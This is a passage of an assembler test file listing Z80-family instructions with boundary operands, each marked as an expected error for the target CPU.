8, (ix+127) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy-128) ; Error ioi set 8, (iy-128) ; Error ioi set.a -1, (hl) ; Error ioi set.a -1, (hl) ; Error ioi set.a -1, (ix) ; Error ioi set.a -1, (ix) ; Error ioi set.a -1, (ix+127) ; Error ioi set.a -1, (ix+127) ; Error ioi set.a -1, (ix-128) ; Error ioi set.a -1, (ix-128) ; Error ioi set.a -1, (iy) ; Error ioi set.a -1, (iy) ; Error ioi set.a -1, (iy+127) ; Error ioi set.a -1, (iy+127) ; Error ioi set.a -1, (iy-128) ; Error ioi set.a -1, (iy-128) ; Error ioi set.a 0, (hl) ; Error ioi set.a 0, (ix) ; Error ioi set.a 0, (ix+127) ; Error ioi set.a 0, (ix-128) ; Error ioi set.a 0, (iy) ; Error ioi set.a 0, (iy+127) ; Error ioi set.a 0, (iy-128) ; Error ioi set.a 1, (hl) ; Error ioi set.a 1, (ix) ; Error ioi set.a 1, (ix+127) ; Error ioi set.a 1, (ix-128) ; Error ioi set.a 1, (iy) ; Error ioi set.a 1, (iy+127) ; Error ioi set.a 1, (iy-128) ; Error ioi set.a 2, (hl) ; Error ioi set.a 2, (ix) ; Error ioi set.a 2, (ix+127) ; Error ioi set.a 2, (ix-128) ; Error ioi set.a 2, (iy) ; Error ioi set.a 2, (iy+127) ; Error ioi set.a 2, (iy-128) ; Error ioi set.a 3, (hl) ; Error ioi set.a 3, (ix) ; Error ioi set.a 3, (ix+127) ; Error ioi set.a 3, (ix-128) ; Error ioi set.a 3, (iy) ; Error ioi set.a 3, (iy+127) ; Error ioi set.a 3, (iy-128) ; Error ioi set.a 4, (hl) ; Error ioi set.a 4, (ix) ; Error ioi set.a 4, (ix+127) ; Error ioi set.a 4, (ix-128) ; Error ioi set.a 4, (iy) ; Error ioi set.a 4, (iy+127) ; Error ioi set.a 4, (iy-128) ; Error ioi set.a 5, (hl) ; Error ioi set.a 5, (ix) ; Error ioi set.a 5, (ix+127) ; Error ioi set.a 5, (ix-128) ; Error ioi set.a 5, (iy) ; Error ioi set.a 5, (iy+127) ; Error ioi set.a 5, (iy-128) ; Error ioi set.a 6, (hl) ; Error ioi set.a 6, (ix) ; Error ioi set.a 6, (ix+127) ; Error ioi set.a 6, (ix-128) ; Error ioi set.a 6, (iy) ; Error ioi set.a 6, (iy+127) ; Error ioi set.a 6, (iy-128) ; Error ioi set.a 7, (hl) ; Error ioi set.a 7, (ix) ; Error ioi set.a 7, (ix+127) ; Error ioi set.a 7, (ix-128) ; Error ioi set.a 7, (iy) ; Error ioi set.a 7, (iy+127) ; Error ioi set.a 7, (iy-128) ; Error ioi set.a 8, (hl) ; Error ioi set.a 8, (hl) ; Error ioi set.a 8, (ix) ; Error ioi set.a 8, (ix) ; Error ioi set.a 8, (ix+127) ; Error ioi set.a 8, (ix+127) ; Error ioi set.a 8, (ix-128) ; Error ioi set.a 8, (ix-128) ; Error ioi set.a 8, (iy) ; Error ioi set.a 8, (iy) ; Error ioi set.a 8, (iy+127) ; Error ioi set.a 8, (iy+127) ; Error ioi set.a 8, (iy-128) ; Error ioi set.a 8, (iy-128) ; Error ioi sla (hl) ; Error ioi sla (ix) ; Error ioi sla (ix+127) ; Error ioi sla (ix-128) ; Error ioi sla (iy) ; Error ioi sla (iy+127) ; Error ioi sla (iy-128) ; Error ioi sra (hl) ; Error ioi sra (ix) ; Error ioi sra (ix+127) ; Error ioi sra (ix-128) ; Error ioi sra (iy) ; Error ioi sra (iy+127) ; Error ioi sra (iy-128) ; Error ioi srl (hl) ; Error ioi srl (ix) ; Error ioi srl (ix+127) ; Error ioi srl (ix-128) ; Error ioi srl (iy) ; Error ioi srl (iy+127) ; Error ioi srl (iy-128) ; Error ioi sub (hl) ; Error ioi sub (ix) ; Error ioi sub (ix+127) ; Error ioi sub (ix-128) ; Error ioi sub (iy) ; Error ioi sub (iy+127) ; Error ioi sub (iy-128) ; Error ioi sub a', (hl) ; Error ioi sub a', (ix) ; Error ioi sub a', (ix+127) ; Error ioi sub a', (ix-128) ; Error ioi sub a', (iy) ; Error ioi sub a', (iy+127) ; Error ioi sub a', (iy-128) ; Error ioi sub a, (hl) ; Error ioi sub a, (ix) ; Error ioi sub a, (ix+127) ; Error ioi sub a, (ix-128) ; Error ioi sub a, (iy) ; Error ioi sub a, (iy+127) ; Error ioi sub a, (iy-128) ; Error ioi xor (hl) ; Error ioi xor (ix) ; Error ioi xor (ix+127) ; Error ioi xor (ix-128) ; Error ioi xor (iy) ; Error ioi xor (iy+127) ; Error ioi xor (iy-128) ; Error ioi xor a', (hl) ; Error ioi xor a', (ix) ; Error ioi xor a', (ix+127) ; Error ioi xor a', (ix-128) ; Error ioi xor a', (iy) ; Error ioi xor a', (iy+127) ; Error ioi xor a', (iy-128) ; Error ioi xor a, (hl) ; Error ioi xor a, (ix) ; Error ioi xor a, (ix+127) ; Error ioi xor a, (ix-128) ; Error ioi xor a, (iy) ; Error ioi xor a, (iy+127) ; Error ioi xor a, (iy-128) ; Error ipres ; Error ipset -1 ; Error ipset -1 ; Error ipset 0 ; Error ipset 1 ; Error ipset 2 ; Error ipset 3 ; Error ipset 4 ; Error ipset 4 ; Error jk -32768 ; Error jk 32767 ; Error jk 65535 ; Error jlo -32768 ; Error jlo 32767 ; Error jlo 65535 ; Error jlz -32768 ; Error jlz 32767 ; Error jlz 65535 ; Error jm -32768 ; Error jm 32767 ; Error jm 65535 ; Error jnk -32768 ; Error jnk 32767 ; Error jnk 65535 ; Error jnv -32768 ; Error jnv 32767 ; Error jnv 65535 ; Error jnx5 -32768 ; Error jnx5 32767 ; Error jnx5 65535 ; Error jp (c) ; Error jp (ix) ; Error jp (iy) ; Error jp lo, -32768 ; Error jp lo, 32767 ; Error jp lo, 65535 ; Error jp lz, -32768 ; Error jp lz, 32767 ; Error jp lz, 65535 ; Error jp m, -32768 ; Error jp m, 32767 ; Error jp m, 65535 ; Error jp nv, -32768 ; Error jp nv, 32767 ; Error jp nv, 65535 ; Error jp p, -32768 ; Error jp p, 32767 ; Error jp p, 65535 ; Error jp pe, -32768 ; Error jp pe, 32767 ; Error jp pe, 65535 ; Error jp po, -32768 ; Error jp po, 32767 ; Error jp po, 65535 ; Error jp v, -32768 ; Error jp v, 32767 ; Error jp v, 65535 ; Error jpe -32768 ; Error jpe 32767 ; Error jpe 65535 ; Error jpo -32768 ; Error jpo 32767 ; Error jpo 65535 ; Error jv -32768 ; Error jv 32767 ; Error jv 65535 ; Error jx5 -32768 ; Error jx5 32767 ; Error jx5 65535 ; Error ld (-32768), bc ; Error ld (-32768), de ; Error ld (-32768), hl ; Error ld (-32768), ix ; Error ld (-32768), iy ; Error ld (32767), bc ; Error ld (32767), de ; Error ld (32767), hl ; Error ld (32767), ix ; Error ld (32767), iy ; Error ld (65535), bc ; Error ld (65535), de ; Error ld (65535), hl ; Error ld (65535), ix ; Error ld (65535), iy ; Error ld (de), hl ; Error ld (hl), hl ; Error ld (hl+127), hl ; Error ld (hl-128), hl ; Error ld (ix), -128 ; Error ld (ix), 127 ; Error ld (ix), 255 ; Error ld (ix), a ; Error ld (ix), b ; Error ld (ix), c ; Error ld (ix), d ; Error ld (ix), e ; Error ld (ix), h ; Error ld (ix), hl ; Error ld (ix), l ; Error ld (ix+127), -128 ; Error ld (ix+127), 127 ; Error ld (ix+127), 255 ; Error ld (ix+127), a ; Error ld (ix+127), b ; Error ld (ix+127), c ; Error ld (ix+127), d ; Error ld (ix+127), e ; Error ld (ix+127), h ; Error ld (ix+127), hl ; Error ld (ix+127), l ; Error ld (ix-128), -128 ; Error ld (ix-128), 127 ; Error ld (ix-128), 255 ; Error ld (ix-128), a ; Error ld (ix-128), b ; Error ld (ix-128), c ; Error ld (ix-128), d ; Error ld (ix-128), e ; Error ld (ix-128), h ; Error ld (ix-128), hl ; Error ld (ix-128), l ; Error ld (iy), -128 ; Error ld (iy), 127 ; Error ld (iy), 255 ; Error ld (iy), a ; Error ld (iy), b ; Error ld (iy), c ; Error ld (iy), d ; Error ld (iy), e ; Error ld (iy), h ; Error ld (iy), hl ; Error ld (iy), l ; Error ld (iy+127), -128 ; Error ld (iy+127), 127 ; Error ld (iy+127), 255 ; Error ld (iy+127), a ; Error ld (iy+127), b ; Error ld (iy+127), c ; Error ld (iy+127), d ; Error ld (iy+127), e ; Error ld (iy+127), h ; Error ld (iy+127), hl ; Error ld (iy+127), l ; Error ld (iy-128), -128 ; Error ld (iy-128), 127 ; Error ld (iy-128), 255 ; Error ld (iy-128), a ; Error ld (iy-128), b ; Error ld (iy-128), c ; Error ld (iy-128), d ; Error ld (iy-128), e ; Error ld (iy-128), h ; Error ld (iy-128), hl ; Error ld (iy-128), l ; Error ld (sp), hl ; Error ld (sp), ix ; Error ld (sp), iy ; Error ld (sp+0), hl ; Error ld (sp+0), ix ; Error ld (sp+0), iy ; Error ld (sp+255), hl ; Error ld (sp+255), ix ; Error ld (sp+255), iy ; Error ld a', (-32768) ; Error ld a', (32767) ; Error ld a', (65535) ; Error ld a', (bc) ; Error ld a', (bc+) ; Error ld a', (bc-) ; Error ld a', (de) ; Error ld a', (de+) ; Error ld a', (de-) ; Error ld a', (hl) ; Error ld a', (hl+) ; Error ld a', (hl-) ; Error ld a', (hld) ; Error ld a', (hli) ; Error ld a', (ix) ; Error ld a', (ix+127) ; Error ld a', (ix-128) ; Error ld a', (iy) ; Error ld a', (iy+127) ; Error ld a', (iy-128) ; Error ld a', -128 ; Error ld a', 127 ; Error ld a', 255 ; Error ld a', a ; Error ld a', b ; Error ld a', c ; Error ld a', d ; Error ld a', e ; Error ld a', eir ; Error ld a', h ; Error ld a', iir ; Error ld a', l ; Error ld a', xpc ; Error ld a, (ix) ; Error ld a, (ix+127) ; Error ld a, (ix-128) ; Error ld a, (iy) ; Error ld a, (iy+127) ; Error ld a, (iy-128) ; Error ld a, eir ; Error ld a, i ; Error ld a, iir ; Error ld a, ixh ; Error ld a, ixl ; Error ld a, iyh ; Error ld a, iyl ; Error ld a, r ; Error ld a, xpc ; Error ld b', (hl) ; Error ld b', (ix) ; Error ld b', (ix+127) ; Error ld b', (ix-128) ; Error ld b', (iy) ; Error ld b', (iy+127) ; Error ld b', (iy-128) ; Error ld b', -128 ; Error ld b', 127 ; Error ld b', 255 ; Error ld b', a ; Error ld b', b ; Error ld b', c ; Error ld b', d ; Error ld b', e ; Error ld b', h ; Error ld b', l ; Error ld b, (ix) ; Error ld b, (ix+127) ; Error ld b, (ix-128) ; Error ld b, (iy) ; Error ld b, (iy+127) ; Error ld b, (iy-128) ; Error ld b, ixh ; Error ld b, ixl ; Error ld b, iyh ; Error ld b, iyl ; Error ld bc', (-32768) ; Error ld bc', (32767) ; Error ld bc', (65535) ; Error ld bc', -32768 ; Error ld bc', 32767 ; Error ld bc', 65535 ; Error ld bc', bc ; Error ld bc', de ; Error ld bc, (-32768) ; Error ld bc, (32767) ; Error ld bc, (65535) ; Error ld bc, ix ; Error ld bc, iy ; Error ld c', (hl) ; Error ld c', (ix) ; Error ld c', (ix+127) ; Error ld c', (ix-128) ; Error ld c', (iy) ; Error ld c', (iy+127) ; Error ld c', (iy-128) ; Error ld c', -128 ; Error ld c', 127 ; Error ld c', 255 ; Error ld c', a ; Error ld c', b ; Error ld c', c ; Error ld c', d ; Error ld c', e ; Error ld c', h ; Error ld c', l ; Error ld c, (ix) ; Error ld c, (ix+127) ; Error ld c, (ix-128) ; Error ld c, (iy) ; Error ld c, (iy+127) ; Error ld c, (iy-128) ; Error ld c, ixh ; Error ld c, ixl ; Error ld c, iyh ; Error ld c, iyl ; Error ld d', (hl) ; Error ld d', (ix) ; Error ld d', (ix+127) ; Error ld d', (ix-128) ; Error ld d', (iy) ; Error ld d', (iy+127) ; Error ld d', (iy-128) ; Error ld d', -128 ; Error ld d', 127 ; Error ld d', 255 ; Error ld d', a ; Error ld d', b ; Error ld d', c ; Error ld d', d ; Error ld d', e ; Error ld d', h ; Error ld d', l ; Error ld d, (ix) ; Error ld d, (ix+127) ; Error ld d, (ix-128) ; Error ld d, (iy) ; Error ld d, (iy+127) ; Error ld d, (iy-128) ; Error ld d, ixh ; Error ld d, ixl ; Error ld d, iyh ; Error ld d, iyl ; Error ld de', (-32768) ; Error ld de', (32767) ; Error ld de', (65535) ; Error ld de', -32768 ; Error ld de', 32767 ; Error ld de', 65535 ; Error ld de', bc ; Error ld de', de ; Error ld de, (-32768) ; Error ld de, (32767) ; Error ld de, (65535) ; Error ld de, hl+0 ; Error ld de, hl+255 ; Error ld de, ix ; Error ld de, iy ; Error ld e', (hl) ; Error ld e', (ix) ; Error ld e', (ix+127) ; Error ld e', (ix-128) ; Error ld e', (iy) ; Error ld e', (iy+127) ; Error ld e', (iy-128) ; Error ld e', -128 ; Error ld e', 127 ; Error ld e', 255 ; Error ld e', a ; Error ld e', b ; Error ld e', c ; Error ld e', d ; Error ld e', e ; Error ld e', h ; Error ld e', l ; Error ld e, (ix) ; Error ld e, (ix+127) ; Error ld e, (ix-128) ; Error ld e, (iy) ; Error ld e, (iy+127) ; Error ld e, (iy-128) ; Error ld e, ixh ; Error ld e, ixl ; Error ld e, iyh ; Error ld e, iyl ; Error ld eir, a ; Error ld h', (hl) ; Error ld h', (ix) ; Error ld h', (ix+127) ; Error ld h', (ix-128) ; Error ld h', (iy) ; Error ld h', (iy+127) ; Error ld h', (iy-128) ; Error ld h', -128 ; Error ld h', 127 ; Error ld h', 255 ; Error ld h', a ; Error ld h', b ; Error ld h', c ; Error ld h', d ; Error ld h', e ; Error ld h', h ; Error ld h', l ; Error ld h, (ix) ; Error ld h, (ix+127) ; Error ld h, (ix-128) ; Error ld h, (iy) ; Error ld h, (iy+127) ; Error ld h, (iy-128) ; Error ld hl', (-32768) ; Error ld hl', (32767) ; Error ld hl', (65535) ; Error ld hl', (hl) ; Error ld hl', (hl+127) ; Error ld hl', (hl-128) ; Error ld hl', (ix) ; Error ld hl', (ix+127) ; Error ld hl', (ix-128) ; Error ld hl', (iy) ; Error ld hl', (iy+127) ; Error ld hl', (iy-128) ; Error ld hl', (sp) ; Error ld hl', (sp+0) ; Error ld hl', (sp+255) ; Error ld hl', -32768 ; Error ld hl', 32767 ; Error ld hl', 65535 ; Error ld hl', bc ; Error ld hl', de ; Error ld hl', ix ; Error ld hl', iy ; Error ld hl, (-32768) ; Error ld hl, (32767) ; Error ld hl, (65535) ; Error ld hl, (de) ; Error ld hl, (hl) ; Error ld hl, (hl+127) ; Error ld hl, (hl-128) ; Error ld hl, (ix) ; Error ld hl, (ix+127) ; Error ld hl, (ix-128) ; Error ld hl, (iy) ; Error ld hl, (iy+127) ; Error ld hl, (iy-128) ; Error ld hl, (sp) ; Error ld hl, (sp+0) ; Error ld hl, (sp+255) ; Error ld hl, ix ; Error ld hl, iy ; Error ld i, a ; Error ld iir, a ; Error ld ix, (-32768) ; Error ld ix, (32767) ; Error ld ix, (65535) ; Error ld ix, (sp) ; Error ld ix, (sp+0) ; Error ld ix, (sp+255) ; Error ld ix, bc ; Error ld ix, de ; Error ld ix, hl ; Error ld ix, iy ; Error ld ixh, -128 ; Error ld ixh, 127 ; Error ld ixh, 255 ; Error ld ixh, a ; Error ld ixh, b ; Error ld ixh, c ; Error ld ixh, d ; Error ld ixh, e ; Error ld ixh, ixh ; Error ld ixh, ixl ; Error ld ixl, -128 ; Error ld ixl, 127 ; Error ld ixl, 255 ; Error ld ixl, a ; Error ld ixl, b ; Error ld ixl, c ; Error ld ixl, d ; Error ld ixl, e ; Error ld ixl, ixh ; Error ld ixl, ixl ; Error ld iy, (-32768) ; Error ld iy, (32767) ; Error ld iy, (65535) ; Error ld iy, (sp) ; Error ld iy, (sp+0) ; Error ld iy, (sp+255) ; Error ld iy, bc ; Error ld iy, de ; Error ld iy, hl ; Error ld iy, ix ; Error ld iyh, -128 ; Error ld iyh, 127 ; Error ld iyh, 255 ; Error ld iyh, a ; Error ld iyh, b ; Error ld iyh, c ; Error ld iyh, d ; Error ld iyh, e ; Error ld iyh, iyh ; Error ld iyh, iyl ; Error ld iyl, -128 ; Error ld iyl, 127 ; Error ld iyl, 255 ; Error ld iyl, a ; Error ld iyl, b ; Error ld iyl, c ; Error ld iyl, d ; Error ld iyl, e ; Error ld iyl, iyh ; Error ld iyl, iyl ; Error ld l', (hl) ; Error ld l', (ix) ; Error ld l', (ix+127) ; Error ld l', (ix-128) ; Error ld l', (iy) ; Error ld l', (iy+127) ; Error ld l', (iy-128) ; Error ld l', -128 ; Error ld l', 127 ; Error ld l', 255 ; Error ld l', a ; Error ld l', b ; Error ld l', c ; Error ld l', d ; Error ld l', e ; Error ld l', h ; Error ld l', l ; Error ld l, (ix) ; Error ld l, (ix+127) ; Error ld l, (ix-128) ; Error ld l, (iy) ; Error ld l, (iy+127) ; Error ld l, (iy-128) ; Error ld r, a ; Error ld sp, (-32768) ; Error ld sp, (32767) ; Error ld sp, (65535) ; Error ld sp, ix ; Error ld sp, iy ; Error ld xpc, a ; Error lddrx ; Error lddsr ; Error lddx ; Error ldhi -128 ; Error ldhi 127 ; Error ldhi 255 ; Error ldirx ; Error ldisr ; Error ldix ; Error ldp (-32768), hl ; Error ldp (-32768), ix ; Error ldp (-32768), iy ; Error ldp (32767), hl ; Error ldp (32767), ix ; Error ldp (32767), iy ; Error ldp (65535), hl ; Error ldp (65535), ix ; Error ldp (65535), iy ; Error ldp (hl), hl ; Error ldp (ix), hl ; Error ldp (iy), hl ; Error ldp hl, (-32768) ; Error ldp hl, (32767) ; Error ldp hl, (65535) ; Error ldp hl, (hl) ; Error ldp hl, (ix) ; Error ldp hl, (iy) ; Error ldp ix, (-32768) ; Error ldp ix, (32767) ; Error ldp ix, (65535) ; Error ldp iy, (-32768) ; Error ldp iy, (32767) ; Error ldp iy, (65535) ; Error ldpirx ; Error ldsi -128 ; Error ldsi 127 ; Error ldsi 255 ; Error ldws ; Error lhld -32768 ; Error lhld 32767 ; Error lhld 65535 ; Error lhlde ; Error lhlx ; Error lsddr ; Error lsdr ; Error lsidr ; Error lsir ; Error mirror a ; Error mlt bc ; Error mlt de ; Error mlt hl ; Error mlt sp ; Error mmu -1, -128 ; Error mmu -1, -128 ; Error mmu -1, 127 ; Error mmu -1, 127 ; Error mmu -1, 255 ; Error mmu -1, 255 ; Error mmu -1, a ; Error mmu -1, a ; Error mmu 0, -128 ; Error mmu 0, 127 ; Error mmu 0, 255 ; Error mmu 0, a ; Error mmu 1, -128 ; Error mmu 1, 127 ; Error mmu 1, 255 ; Error mmu 1, a ; Error mmu 2, -128 ; Error mmu 2, 127 ; Error mmu 2, 255 ; Error mmu 2, a ; Error mmu 3, -128 ; Error mmu 3, 127 ; Error mmu 3, 255 ; Error mmu 3, a ; Error mmu 4, -128 ; Error mmu 4, 127 ; Error mmu 4, 255 ; Error mmu 4, a ; Error mmu 5, -128 ; Error mmu 5, 127 ; Error mmu 5, 255 ; Error mmu 5, a ; Error mmu 6, -128 ; Error mmu 6, 127 ; Error mmu 6, 255 ; Error mmu 6, a ; Error mmu 7, -128 ; Error mmu 7, 127 ; Error mmu 7, 255 ; Error mmu 7, a ; Error mmu 8, -128 ; Error mmu 8, -128 ; Error mmu 8, 127 ; Error mmu 8, 127 ; Error mmu 8, 255 ; Error mmu 8, 255 ; Error mmu 8, a ; Error mmu 8, a ; Error mmu0 -128 ; Error mmu0 127 ; Error mmu0 255 ; Error mmu0 a ; Error mmu1 -128 ; Error mmu1 127 ; Error mmu1 255 ; Error mmu1 a ; Error mmu2 -128 ; Error mmu2 127 ; Error mmu2 255 ; Error mmu2 a ; Error mmu3 -128 ; Error mmu3 127 ; Error mmu3 255 ; Error mmu3 a ; Error mmu4 -128 ; Error mmu4 127 ; Error mmu4 255 ; Error mmu4 a ; Error mmu5 -128 ; Error mmu5 127 ; Error mmu5 255 ; Error mmu5 a ; Error mmu6 -128 ; Error mmu6 127 ; Error mmu6 255 ; Error mmu6 a ; Error mmu7 -128 ; Error mmu7 127 ; Error mmu7 255 ; Error mmu7 a ; Error mul ; Error mul d, e ; Error mul de ; Error neg a' ; Error nextreg -128, -128 ; Error nextreg -128, a ; Error nextreg 127, 127 ; Error nextreg 127, a ; Error nextreg 255, 255 ; Error nextreg 255, a ; Error or (ix) ; Error or (ix+127) ; Error or (ix-128) ; Error or (iy) ; Error or (iy+127) ; Error or (iy-128) ; Error or a', (hl) ; Error or a', (ix) ; Error or a', (ix+127) ; Error or a', (ix-128) ; Error or a', (iy) ; Error or a', (iy+127) ; Error or a', (iy-128) ; Error or a', -128 ; Error or a', 127 ; Error or a', 255 ; Error or a', a ; Error or a', b ; Error or a', c ; Error or a', d ; Error or a', e ; Error or a', h ; Error or a', l ; Error or a, (ix) ; Error or a, (ix+127) ; Error or a, (ix-128) ; Error or a, (iy) ; Error or a, (iy+127) ; Error or a, (iy-128) ; Error or a, ixh ; Error or a, ixl ; Error or a, iyh ; Error or a, iyl ; Error or hl', de ; Error or hl, de ; Error or ix, de ; Error or ixh ; Error or ixl ; Error or iy, de ; Error or iyh ; Error or iyl ; Error otdm ; Error otdmr ; Error otdr ; Error otim ; Error otimr ; Error otir ; Error out (-128), a ; Error out (127), a ; Error out (255), a ; Error out (c), -1 ; Error out (c), -1 ; Error out (c), 0 ; Error out (c), 1 ; Error out (c), 1 ; Error out (c), a ; Error out (c), b ; Error out (c), c ; Error out (c), d ; Error out (c), e ; Error out (c), f ; Error out (c), h ; Error out (c), l ; Error out -128 ; Error out 127 ; Error out 255 ; Error out0 (-128), a ; Error out0 (-128), b ; Error out0 (-128), c ; Error out0 (-128), d ; Error out0 (-128), e ; Error out0 (-128), h ; Error out0 (-128), l ; Error out0 (127), a ; Error out0 (127), b ; Error out0 (127), c ; Error out0 (127), d ; Error out0 (127), e ; Error out0 (127), h ; Error out0 (127), l ; Error out0 (255), a ; Error out0 (255), b ; Error out0 (255), c ; Error out0 (255), d ; Error out0 (255), e ; Error out0 (255), h ; Error out0 (255), l ; Error outd ; Error outi ; Error outinb ; Error ovrst8 ; Error pixelad ; Error pixeldn ; Error pop af' ; Error pop b' ; Error pop bc' ; Error pop d' ; Error pop de' ; Error pop h' ; Error pop hl' ; Error pop ip ; Error pop ix ; Error pop iy ; Error pop su ; Error push -32768 ; Error push 32767 ; Error push 65535 ; Error push ip ; Error push ix ; Error push iy ; Error push su ; Error rdmode ; Error res -1, (hl) ; Error res -1, (hl) ; Error res -1, (ix) ; Error res -1, (ix) ; Error res -1, (ix), a ; Error res -1, (ix), a ; Error res -1, (ix), b ; Error res -1, (ix), b ; Error res -1, (ix), c ; Error res -1, (ix), c ; Error res -1, (ix), d ; Error res -1, (ix), d ; Error res -1, (ix), e ; Error res -1, (ix), e ; Error res -1, (ix), h ; Error res -1, (ix), h ; Error res -1, (ix), l ; Error res -1, (ix), l ; Error res -1, (ix+127) ; Error res -1, (ix+127) ; Error res -1, (ix+127), a ; Error res -1, (ix+127), a ; Error res -1, (ix+127), b ; Error res -1, (ix+127), b ; Error res -1, (ix+127), c ; Error res -1, (ix+127), c ; Error res -1, (ix+127), d ; Error res -1, (ix+127), d ; Error res -1, (ix+127), e ; Error res -1, (ix+127), e ; Error res -1, (ix+127), h ; Error res -1, (ix+127), h ; Error res -1, (ix+127), l ; Error res -1, (ix+127), l ; Error res -1, (ix-128) ; Error res -1, (ix-128) ; Error res -1, (ix-128), a ; Error res -1, (ix-128), a ; Error res -1, (ix-128), b ; Error res -1, (ix-128), b ; Error res -1, (ix-128), c ; Error res -1, (ix-128), c ; Error res -1, (ix-128), d ; Error res -1, (ix-128), d ; Error res -1, (ix-128), e ; Error res -1, (ix-128), e ; Error res -1, (ix-128), h ; Error res -1, (ix-128), h ; Error res -1, (ix-128), l ; Error res -1, (ix-128), l ; Error res -1, (iy) ; Error res -1, (iy) ; Error res -1, (iy), a ; Error res -1, (iy), a ; Error res -1, (iy), b ; Error res -1, (iy), b ; Error res -1, (iy), c ; Error res -1, (iy), c ; Error res -1, (iy), d ; Error res -1, (iy), d ; Error res -1, (iy), e ; Error res -1, (iy), e ; Error res -1, (iy), h ; Error res -1, (iy), h ; Error res -1, (iy), l ; Error res -1, (iy), l ; Error res -1, (iy+127) ; Error res -1, (iy+127) ; Error res -1, (iy+127), a ; Error res -1, (iy+127), a ; Error res -1, (iy+127), b ; Error res -1, (iy+127), b ; Error res -1, (iy+127), c ; Error res -1, (iy+127), c ; Error res -1, (iy+127), d ; Error res -1, (iy+127), d ; Error res -1, (iy+127), e ; Error res -1, (iy+127), e ; Error res -1, (iy+127), h ; Error res -1, (iy+127), h ; Error res -1, (iy+127), l ; Error res -1, (iy+127), l ; Error res -1, (iy-128) ; Error res -1, (iy-128) ; Error res -1, (iy-128), a ; Error res -1, (iy-128), a ; Error res -1, (iy-128), b ; Error res -1, (iy-128), b ; Error res -1, (iy-128), c ; Error res -1, (iy-128), c ; Error res -1, (iy-128), d ; Error res -1, (iy-128), d ; Error res -1, (iy-128), e ; Error res -1, (iy-128), e ; Error res -1, (iy-128), h ; Error res -1, (iy-128), h ; Error res -1, (iy-128), l ; Error res -1, (iy-128), l ; Error res -1, a ; Error res -1, a ; Error res -1, a' ; Error res -1, a' ; Error res -1, b ; Error res -1, b ; Error res -1, b' ; Error res -1, b' ; Error res -1, c ; Error res -1, c ; Error res -1, c' ; Error res -1, c' ; Error res -1, d ; Error res -1, d ; Error res -1, d' ; Error res -1, d' ; Error res -1, e ; Error res -1, e ; Error res -1, e' ; Error res -1, e' ; Error res -1, h ; Error res -1, h ; Error res -1, h' ; Error res -1, h' ; Error res -1, l ; Error res -1, l ; Error res -1, l' ; Error res -1, l' ; Error res 0, (ix) ; Error res 0, (ix), a ; Error res 0, (ix), b ; Error res 0, (ix), c ; Error res 0, (ix), d ; Error res 0, (ix), e ; Error res 0, (ix), h ; Error res 0, (ix), l ; Error res 0, (ix+127) ; Error res 0, (ix+127), a ; Error res 0, (ix+127), b ; Error res 0, (ix+127), c ; Error res 0, (ix+127), d ; Error res 0, (ix+127), e ; Error res 0, (ix+127), h ; Error res 0, (ix+127), l ; Error res 0, (ix-128) ; Error res 0, (ix-128), a ; Error res 0, (ix-128), b ; Error res 0, (ix-128), c ; Error res 0, (ix-128), d ; Error res 0, (ix-128), e ; Error res 0, (ix-128), h ; Error res 0, (ix-128), l ; Error res 0, (iy) ; Error res 0, (iy), a ; Error res 0, (iy), b ; Error res 0, (iy), c ; Error res 0, (iy), d ; Error res 0, (iy), e ; Error res 0, (iy), h ; Error res 0, (iy), l ; Error res 0, (iy+127) ; Error res 0, (iy+127), a ; Error res 0, (iy+127), b ; Error res 0, (iy+127), c ; Error res 0, (iy+127), d ; Error res 0, (iy+127), e ; Error res 0, (iy+127), h ; Error res 0, (iy+127), l ; Error res 0, (iy-128) ; Error res 0, (iy-128), a ; Error res 0, (iy-128), b ; Error res 0, (iy-128), c ; Error res 0, (iy-128), d ; Error res 0, (iy-128), e ; Error res 0, (iy-128), h ; Error res 0, (iy-128), l ; Error res 0, a' ; Error res 0, b' ; Error res 0, c' ; Error res 0, d' ; Error res 0, e' ; Error res 0, h' ; Error res 0, l' ; Error res 1, (ix) ; Error res 1, (ix), a ; Error res 1, (ix), b ; Error res 1, (ix), c ; Error res 1, (ix), d ; Error res 1, (ix), e ; Error res 1, (ix), h ; Error res 1, (ix), l ; Error res 1, (ix+127) ; Error res 1, (ix+127), a ; Error res 1, (ix+127), b ; Error res 1, (ix+127), c ; Error res 1, (ix+127), d ; Error res 1, (ix+127), e ; Error res 1, (ix+127), h ; Error res 1, (ix+127), l ; Error res 1, (ix-128) ; Error res 1, (ix-128), a ; Error res 1, (ix-128), b ; Error res 1, (ix-128), c ; Error res 1, (ix-128), d ; Error res 1, (ix-128), e ; Error res 1, (ix-128), h ; Error res 1, (ix-128), l ; Error res 1, (iy) ; Error res 1, (iy), a ; Error res 1, (iy), b ; Error res 1, (iy), c ; Error res 1, (iy), d ; Error res 1, (iy), e ; Error res 1, (iy), h ; Error res 1, (iy), l ; Error res 1, (iy+127) ; Error res 1, (iy+127), a ; Error res 1, (iy+127), b ; Error res 1, (iy+127), c ; Error res 1, (iy+127), d ; Error res 1, (iy+127), e ; Error res 1, (iy+127), h ; Error res 1, (iy+127), l ; Error res 1, (iy-128) ; Error res 1, (iy-128), a ; Error res 1, (iy-128), b ; Error res 1, (iy-128), c ; Error res 1, (iy-128), d ; Error res 1, (iy-128), e ; Error res 1, (iy-128), h ; Error res 1, (iy-128), l ; Error res 1, a' ; Error res 1, b' ; Error res 1, c' ; Error res 1, d' ; Error res 1, e' ; Error res 1, h' ; Error res 1, l' ; Error res 2, (ix) ; Error res 2, (ix), a ; Error res 2, (ix), b ; Error res 2, (ix), c ; Error res 2, (ix), d ; Error res 2, (ix), e ; Error res 2, (ix), h ; Error res 2, (ix), l ; Error res 2, (ix+127) ; Error res 2, (ix+127), a ; Error res 2, (ix+127), b ; Error res 2, (ix+127), c ; Error res 2, (ix+127), d ; Error res 2, (ix+127), e ; Error res 2, (ix+127), h ; Error res 2, (ix+127), l ; Error res 2, (ix-128) ; Error res 2, (ix-128), a ; Error res 2, (ix-128), b ; Error res 2, (ix-128), c ; Error res 2, (ix-128), d ; Error res 2, (ix-128), e ; Error res 2, (ix-128), h ; Error res 2, (ix-128), l ; Error res 2, (iy) ; Error res 2, (iy), a ; Error res 2, (iy), b ; Error res 2, (iy), c ; Error res 2, (iy), d ; Error res 2, (iy), e ; Error res 2, (iy), h ; Error res 2, (iy), l ; Error res 2, (iy+127) ; Error res 2, (iy+127), a ; Error res 